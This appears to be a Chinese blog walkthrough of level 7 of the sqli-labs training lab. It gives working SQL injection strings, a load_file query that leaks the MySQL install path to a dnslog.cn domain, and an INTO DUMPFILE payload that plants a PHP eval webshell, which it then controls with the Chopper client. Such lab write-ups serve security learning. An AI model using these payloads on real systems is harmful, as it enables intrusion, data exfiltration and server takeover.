sqli-labs第七关

1、首先判断注入点

正常显示是这样的
在这里插入图片描述
不正常显示是这样的
在这里插入图片描述
猜到最后,注入点是字符型,单引号加两个小括号,?id=1’)) – -
在这里插入图片描述
因为它只有正常显示和不正常显示两种状态,并且也没有MySQL的报错信息。正常来说,这里可以使用盲注,但是它页面上提示的有“Use outfile…”,既然它提示了,那么就说明它开了读写权限。所以这一关就用SQL注入读写文件来试一下

2、判断文件路径

可以利用读文件函数load_file(),结合dnslog.cn网站,实现带外攻击,看到MySQL的安装目录在哪。
先说一下MySQL的load_file()函数。这个函数里面写上文件的路径,就可以实现读取文件内容的操作。不过它只能读取文件,不能读取目录。所以load_file()函数里面一定要写“路径+文件名”,才会有回显。不然就会报错。另外,读本地文件的话,只要写上本地文件的路径就行,绝对路径和相对路径都行。读网络文件的话,要用"\\+域名\+文件名"的写法。前面写上四个\是为了转义,最终的效果是:\域名\文件名
接下来,先在dnslog网站上获取一个随机域名。
在这里插入图片描述
接下来,构造语句:?id=1’)) and load_file(concat(’\\’,(substr(hex(@@basedir),1,30)),’.r8luxv.dnslog.cn\1.txt’)) – -,并执行。这个语句中间用了hex()函数,把@@basedir加密。为了避免URL中显示不出某些特殊符号,并且了使用substr()字符串截取函数,因为URL的长度是有限制的。虽然执行完之后页面会报错,但是不影响结果,可以看到dnslog网站上已经出现了一串字符
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
接下来,只需要继续截取,就能获取到完整的路径了
在这里插入图片描述
在这里插入图片描述
把得到的路径拼接起来
在这里插入图片描述
然后再使用十六进制解码,得到路径
在这里插入图片描述

3、开始写文件

根据上一步,可以看出来这个网站的搭建环境是一个phpstudy的集成环境,那么它的网站根目录是D:\phpStudy\PHPTutorial\WWW\。知道了网站根目录,接下来,利用outfile()写函数,往网站根目录里写入一句话木马文件。
构造语句:?id=-1’)) union select ‘’,’’,’<?php @eval($_REQUEST[666]) ?>’ into dumpfile ‘D:\phpStudy\PHPTutorial\WWW\1.php’ – -
至于语句为什么这么构造,最前面的id=-1是因为union select在into dumpfile()的时候,会把前面的查询结果也一块写入到文件中,像这样:1DumbDumb<?php @eval($_REQUEST[666]) ?>。如果让前面的id=-1,这样前面的select就查询不到结果了,那么写入到文件中的就会如我们所愿了;其次,union select后面还有两个空的单引号,是因为这里查询了三列。union select如果不查询三列的话,就会出错。所以多加了两个空的单引号。
再来到网站目录下,看到我们上传的一句话木马文件已经在了。
在这里插入图片描述

4、使用菜刀连接

在这里插入图片描述
在这里插入图片描述
连接成功,第七关完成

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值